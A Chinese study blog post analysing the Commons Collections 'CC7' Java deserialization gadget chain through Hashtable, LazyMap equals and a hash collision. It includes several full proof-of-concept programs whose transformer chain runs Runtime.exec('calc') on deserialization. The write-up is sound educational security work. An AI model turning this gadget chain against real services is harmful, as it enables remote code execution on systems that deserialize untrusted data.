CC7

Java学习

CC7

CC7的思路同样是找另一条调用链来触发lazy.get()方法,这次用到的是Hashtable类

测试环境:

  • JDK 8u411
  • commons-collections 3.2.1

代码分析

在ysoserial给出的调用链中,选取了java.util.Hashtable#readObject方法作为调用链的起点。

Hashtable 与 HashMap很相似,都是一种key-value形式的哈希表,但是还是有区别:

  • HashMap 与 Hashtable的父类不一样。
  • 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现。
  • Hashtable 的key-value 不允许为null值,但是HashMap 是允许的,后者会将 key=value的实体放在index=0 的位置。
  • Hashtable 线程安全,HashMap 线程不安全。

同样的,既然HashMap可以实现反序列化漏洞,Hashtable同样可以。

分析源码,这个Hashtable类可以给出两条链,分别是

  • readObject()中的reconstitution()hashCode()方法
  • readObject()中的reconstitution()equal()方法

hashCode

(其实给这个都可以算到CC6那里去,利用思路和CC6差不多)

我们来看一下Hashtable的readObject()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        ObjectInputStream.GetField fields = s.readFields();

        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new StreamCorruptedException("Illegal load factor: " + lf);
        lf = Math.min(Math.max(0.25f, lf), 4.0f);

        int origlength = s.readInt();
        int elements = s.readInt();

        if (elements < 0)
            throw new StreamCorruptedException("Illegal # of Elements: " + elements);

        origlength = Math.max(origlength, (int)(elements / lf) + 1);

        int length = (int)((elements + elements / 20) / lf) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        length = Math.min(length, origlength);

        if (length < 0) { // overflow
            length = origlength;
        }

        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
        Hashtable.UnsafeHolder.putLoadFactor(this, lf);
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);
        count = 0;

        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // sync is eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }

重点还是最后面那串代码,如下: image-20240801094040061

在readObject方法中,最后调用了reconstitutionPut方法将反序列化得到的key-value 放在内部实现的 Entry 数组 table里。

跟进reconstitutionPut方法源码:

image-20240801094440480

可以看见这个reconstitutionPut()里面也调用了hashCode,并且可以很容易看出value不能为null。感觉和HashMap是差不多的,看一下Hashtable类的put()方法: image-20240801095715776

和CC6那就差不多了,这不就直接可以构造了吗

直接按照CC6的HashMap的链子原理构造代码即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;


import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        Hashtable hashMap = new Hashtable();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
}

成功弹出计算机。

————————

equals

但是ysoserial链中的利用点却不是上面那个简单链,继续分析这个Hashtable类的代码。

先给出利用链要用到的类以及对应方法的源码

  • HashMap的父类AbstractMap类的equals()方法源码(get方法的起点):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))//这里调用了get方法
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }
  • LazyMap的父类AbstractMapDecorator的equals()方法源码:

    1
    2
    3
    
    public boolean equals(Object object) {
            return object == this ? true : this.map.equals(object);
        }
    

在Hashtable 的readObject() 方法中用到了for循环,如下:

image-20240801143656945

这里的elements代表键值对的个数,这里调用for循环来一次读取一个键值对。并且在反序列化过程中,table(也就是reconstitution方法内的tab)是共享的,也就是说在整个反序列化过程中始终使用同一个 tab,所有的键值对都将被插入到同一个 tab 中,构成一个完整的哈希表,并且看Hashtable类中也有这个变量:

image-20240801164533548

table在Hashtable也是有定义的,结合前面的说明,可以知道在反序列化的时候会将键值对放入到这个数组中,但是这里的table是transient修饰的,导致不会被序列化,那么这是如何解决的呢?重点就是在Hashtable#writeObject()方法,源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void writeObject(java.io.ObjectOutputStream s)
            throws IOException {
        Entry<Object, Object> entryStack = null;

        synchronized (this) {
            s.defaultWriteObject();

            s.writeInt(table.length);
            s.writeInt(count);

            for (int index = 0; index < table.length; index++) {
                Entry<?,?> entry = table[index];

                while (entry != null) {
                    entryStack =
                        new Entry<>(0, entry.key, entry.value, entryStack);
                    entry = entry.next;
                }
            }
        }

        while (entryStack != null) {
            s.writeObject(entryStack.key);
            s.writeObject(entryStack.value);
            entryStack = entryStack.next;
        }
    }

在这个writeObject()方法中,定义了一个entryStack用于暂时存储所有的键值对,赋值就是在for循环中,在这个for循环中,遍历table数组的每个Entry对象,将其填入entryStack数组中,最后在while循环中将每个键值对序列化。

继续看reconstitutionput()方法:

image-20240801101906268

这个for循环代码会遍历链表,直到链表末尾。同时在for循环内部,可以看到只要当前节点的哈希值与目标哈希值相等以及当前节点的键与目标键相等就会抛出异常

所以这个代码的作用就是确保哈希表中不会出现重复的键。如果在遍历链表过程中发现有节点的哈希值和键都与目标值相同,就会抛出 StreamCorruptedException 异常。这可能用于序列化/反序列化过程中,防止数据结构被破坏或出现不一致的情况。

如果没有重复的键,在这个for循环过后,将会将这个键值对填入到table数组中:

image-20240801165644341

既然这里都说明了是利用equal()方法来创建利用链,在这个reconstitutionPut()方法源码中,可以看到在for循环那里要利用到了equals()方法:

image-20240801170157261

由于java中的&&有短路求值的特性,必须要前一个条件(e.hash == hash)为真,才会进行第二个条件(e.key.equals(key))的判断。

所以我们这里至少put进两个键值对,这样在第二个键值对与第一个键值对比较时才有可能通过第一个条件。

再结合前面提前给出的类,大概可以知道利用链了,这里将e.key设置为LazyMap类实例,但是LazyMap中并没有直接定义equals()方法(内部类有,但是不能直接调用),这样就会调用LazyMap的父类AbstractMapDecorator的equals()方法:

image-20240801204147243

这里的this 关键字在方法中代表当前类的实例,即调用该方法的对象。如果相同就会直接返回ture,否则就会调用后面的。而我们的利用链就是要调用后面的。

由于我们实例化LazyMap时,都是传入一个HashMap类实例,最终会将AbstractMapDecorator的this.map设置为HashMap类的实例化对象,这样就会调用HashMap类的equals()方法,但是情况同LazyMap一样,会直接调用父类AbstractMap的equals()方法(部分源码):

image-20240801204721007

然后在AbstractMap的equals()方法中调用了get()方法,这就是起点,并且这里的m就是e.key.equals(key)中的第二个key,所以我们需要传入两个LazyMap实例

大概就是这样了,现在来搓代码。

综合前面的问题:

  • 需要传入两个键值对。需要将e.key设置为LazyMap对象,即key都是LazyMap对象
  • hash相等问题

先给个基本盘:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;


import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Hashtable;
 
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        Hashtable hashtable = new Hashtable();
        //这里开始想代码
        

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashtable);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
}

现在聚焦于readObject()的reconstitutionPut方法:

image-20240801173418173

这里要求前面的条件相等,并且后面的e.key需要为LazyMap类实例,那么我就传入两个LazyMap类实例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 Transformer haha0 = new ConstantTransformer(1);
Transformer haha1 = new ConstantTransformer(1);
Map hashMap0 = new HashMap();
Map lazy0 = LazyMap.decorate(hashMap0,haha0);
Map hashMap1 = new HashMap();
Map lazy1 = LazyMap.decorate(hashMap1,haha1);

Hashtable haha = new Hashtable();
haha.put(lazy0,1);
haha.put(lazy1,1);

再粘过来Hashtable类的put方法一下: image-20240801184952561

这样就可以基本说明为什么我可以调用Hashtable的put方法了(需要注意的是第一次put不会触及for循环,因为table无任何条目,第二次put才会开始比较)。

但是需要注意的是,当我传入了LazyMap实例,无论是反序还是put方法这里,在key.hashCode()都不会是首先调用默认的String.java的hashCode()方法了,由于LazyMap没有定义hashCode方法,这里就会到父类AbstractMapDecorator的hashCode方法:

image-20240801194715026

这里就会又到HashMap(HashMap内部类有hashCode,不可用)父类AbstractMap的hashCode()方法image-20240801195406545

(这里往后的hashCode()方法调用过程是后面的某个测试代码调试出来的,可以先只暂时了解)然后这里调用的hashCode是HashMap内部类Node类的hashCode()方法,如下:

image-20240801222242418

然后差不多就到了String.java的hashCode方法:

image-20240801215613372

String.java的hashCode()就是用来计算哈希码的。同时注意(重要)在上上面那个hashCode(),也就是内部类Node的hashCode()方法对key和value都调用了hashCode()计算哈希码后异或求得值,也就是最终的哈希码,所以对于最终的哈希码我们需要兼顾键和值

————

结合String.java的hashCode方法,可以知道AbstractMap的hashCode方法的作用就是计算哈希码,通过迭代器遍历每个条目,调用每个条目的hashCode()方法,然后将得到的哈希码累加到变量h中。最后返回h。

但是由于我们最开始调用的hashCode()是LazyMap对象,并且由于这个对象里面并没有存储有键值对,所以这里会直接返回0

本来我还以为刚好,这样都返回0的话正好使得e.hash=hash可以成立,但是需要注意的是,当我们在序列化之前调用put()的时候,看put()方法的如下源码:

image-20240801200313953

他这里也有个for循环来防止有重复的键,这个代码的作用就是如果条件成立,也就是条目相匹配,就会将条目entry对应的键的value更改为新的value。再来看我们的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 Transformer haha0 = new ConstantTransformer(1);
Transformer haha1 = new ConstantTransformer(1);
Map hashMap0 = new HashMap();
Map lazy0 = LazyMap.decorate(hashMap0,haha0);
Map hashMap1 = new HashMap();
Map lazy1 = LazyMap.decorate(hashMap1,haha1);

Hashtable haha = new Hashtable();
haha.put(lazy0,1);
haha.put(lazy1,1);

现在的问题就是想这个entry.key.equals(key)是否会通过导致无法正常放入两个键值对。

直接从第二次放入键值对开始说,这里由于我放入的是LazyMap类实例,本来以为会按照我们前面说的流程走一遍,最后会调用到AbstractMap类的equals()停下,大错特错。看代码

直接使用如下代码来测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

public class Main  {
    public static void main(String[] args){
        Transformer haha0 = new ConstantTransformer(1);
        Transformer haha1 = new ConstantTransformer(1);
        Map hashMap0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hashMap0,haha0);

        Map hashMap1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hashMap1,haha1);

        if(lazy0.equals(lazy1)){
            System.out.println("相等");
        }
    }
}
//output:相等

这里的输出为相等,那这就是说明会进入if条件,导致不能成功放入两个键值对。但是在前面的分析中,如果想要成功构造利用链,那么就必须是传入两个LazyMap的实例。所以这里要想如何解决。打断点来调试一下: image-20240802171424683

直接按照预期进入到LazyMap父类AbstractMapDecorator的equals()方法: image-20240801205912932

在前面基本流程那里说过,这里就是判断调用这个equals()方法的对象和传入的object引用的对象是否相同,很不巧的是我们都传入了LazyMap对象,导致了这里使得条件成立,返回true。

但是,柳暗花明又一村,在调试时,在上面点击下一步后,看:

image-20240801210157525

这里还要调用一次size()方法(这个size()方法过后就没按照预期走了),所以这里会调用HashMap的size()方法

image-20240801211235910

这个HashMap的size()方法只是返回当前 HashMap 中存储的键值对的总数。

这里提到了键值对,那么我们添加一个键值对试试,这里直接对LazyMap对象使用put也行,因为LazyMap的父类实现了put方法: image-20240801211625266

代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

public class Main  {
    public static void main(String[] args){
        Transformer haha0 = new ConstantTransformer(1);
        Transformer haha1 = new ConstantTransformer(1);
        Map hashMap0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hashMap0,haha0);
        lazy0.put("xxx",2);

        Map hashMap1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hashMap1,haha1);
        lazy1.put("xxx",1);

        if(lazy0.equals(lazy1)){
            System.out.println("相等");
        }
    }
}

这次没有输出,说明这里不相同了,不会进入false,也就可以放入两个值了。

(遗留一个问题吧,没调出来这里为什么会直接到size()并且影响判断)

并且这里在调试时确实可以进入到最后的AbstractMapequals()方法并且最终成功调用LazyMap的get方法: image-20240802172158779

问题equals()方法调用解决。

那么现在我们又需要注意第一个条件,前面是直接设定的没有键值对,但是由于第二个条件的解决办法,导致我们这里必须要思考如何使得hash相同,最后调用的hashCode方法: image-20240801214556431

接用代码测试看看:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

public class Main  {
    public static void main(String[] args){
        Transformer haha0 = new ConstantTransformer(1);
        Transformer haha1 = new ConstantTransformer(1);
        Map hashMap0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hashMap0,haha0);
        lazy0.put("xx", 2);

        Map hashMap1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hashMap1,haha1);
        lazy1.put("xxxx", 1);
        
        if(lazy1.hashCode()==lazy0.hashCode()){
            System.out.println("相等");
        }
    }
}

没有输出,说明不是相同的。这里就涉及到了哈希碰撞的问题,不多说,在ysoserial链中调用的是yyzZ,这两个值的hashCode()结果是相同的: image-20240801223140188

同时结合前面最开始调试hashCode那部分说了会调用到HashMap内部类Node的hashCode()方法: image-20240801225144106

所以这里的value也需要设置为相同的,所以最终的测试代码为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.example;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

public class Main  {
    public static void main(String[] args){
        Transformer haha0 = new ConstantTransformer(1);
        Transformer haha1 = new ConstantTransformer(1);
        Map hashMap0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hashMap0,haha0);
        lazy0.put("yy", 1);

        Map hashMap1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hashMap1,haha1);
        lazy1.put("zZ", 1);
        
        if(lazy1.hashCode()==lazy0.hashCode()){
            System.out.println("相等");
        }
    }
}

成功输出相等。

但是此时将这个代码稍微修改一下又可以用来测试第二个条件(但是有问题),如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

public class Main  {
    public static void main(String[] args){
        Transformer haha0 = new ConstantTransformer(1);
        Transformer haha1 = new ConstantTransformer(1);
        Map hashMap0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hashMap0,haha0);
        lazy0.put("yy", 1);

        Map hashMap1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hashMap1,haha1);
        lazy1.put("zZ", 1);

        if(lazy0.equals(lazy1)){
            System.out.println("相等");
        }
    }
}
//输出:相等

很怪反正,代码绝对有问题,要么就是我的JVM虚拟机有点问题,直接在最终equals()方法加断点可以到,这里不管put进的键是什么,只要两个值都是1就会输出相等(好像only 1),但是这里都改成其他的比如2就不会了,改成2对于hashCode应该也没有影响,并且代码输出也没有问题。

那么就可以尝试构造真正的利用链了,还需要注意的就是在第二次put的时候就会执行一次调用链了,此时就需要注意LazyMap的get()方法,和之前的CC6差不多,需要remove,直接打断点来看传进去的值:

image-20240802001231117

再看进入这个get方法的equals()方法的位置:

image-20240802001653262

此时的key是lazy0的键,所以这里会对lazy1的哈希表再put进一个值:

image-20240802001948885

这里结果是1很正常,fakeTransformer链子返回的就是这个。

所以序列化的时候会向hashMap1中put进一个(yy-1)的键值对,为了在反序列化的时候,让hash值相等,能够成功执行到这里的transform()方法,所以需要remove这个hashMap1中的这个键值对。

最终构成如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Hashtable hashtable = new Hashtable();

        Map hashMap0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hashMap0,chain);
        lazy0.put("yy", 2);

        Map hashMap1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hashMap1,chain);
        lazy1.put("zZ", 2);

        hashtable.put(lazy0,1);
        hashtable.put(lazy1,2);
        hashMap1.remove("yy");


        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashtable);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

成功弹出计算机。

后面再看发现其实其中有一个点是没有说清楚的,确实在序列化之前是可以成功调用到LazyMap的get()方法,但是对于是否会替换这个问题没有说清楚,也就是对应如下代码:

image-20241227213649351

在序列化前,这里到底为什么不更换值。前面从构建的代码层面简单说了一下利用方法。现在POC也给出来了,就跟一下底层来查看一下:

直接打断点于AbstractMap类的equals()方法:

image-20241227214332022

这里就是期望执行get()方法的地方,由于现在是序列化前,经过代码的构造,不会弹计算机,跟进一下这里会执行的LazyMap类的get()方法:

image-20241227214607517

由于我们构造的transform执行结果就,是返回一个1,并且最后返回的这个value,所以 m.get(key) 就是返回一个1,也是因为在这里往hashMap1中放进了一个键值对,为了反序列化时能通过hash值相同,所以后面加了一个remove操作。

继续看:

image-20241227214908996

所以现在比较的就是value和1的相等关系,而这里的value是2:

其实从代码层面也能看出来,本来最开始就是put的yy => 2,这里是肯定不相等的,所以取反后就是true了,true返回了false,所以最后才没有换值。

这样也能解决为什么前面说的only1就不行了,如果我put进的是1,那么这里就会与transform返回的1相等,最后就会返回true。

那么我就是要用1呢,如下一个操作就行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package java_foundation;

import java.util.HashMap;
import java.lang.reflect.Field;

import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import javax.management.BadAttributeValueExpException;
import java.lang.Class;
import javax.xml.transform.Templates;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashSet;
import java.util.Hashtable;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.nio.file.Files;
import java.nio.file.Paths;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
        TemplatesImpl mpl =new TemplatesImpl();
        setFieldValue(mpl,"_name","fupanc");
        setFieldValue(mpl,"_bytecodes",new byte[][]{code});
        setFieldValue(mpl,"_class",null);
        setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());

        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(2)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);

        Hashtable hashtable = new Hashtable();

        Map hashMap0 = new HashMap();
        hashMap0.put("yy",1);
        Map lazy0 = LazyMap.decorate(hashMap0,chain);
        Map hashMap1 = new HashMap();
        hashMap1.put("zZ",1);
        Map lazy1 = LazyMap.decorate(hashMap1,chain);
        hashtable.put(lazy0,1);
        hashtable.put(lazy1,1);

        hashMap1.remove("yy");

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashtable);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object mpl,String name,Object value) throws Exception {
        Field field = mpl.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(mpl,value);
    }
}

重点还是代码的理解。

问题:

  • 不加键值对直接到size()问题
  • 哈希碰撞问题
  • 为什么对LazyMap使用put时的键值对的值需要相同,可能是内部类Node那里的hashCode方法原因。
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计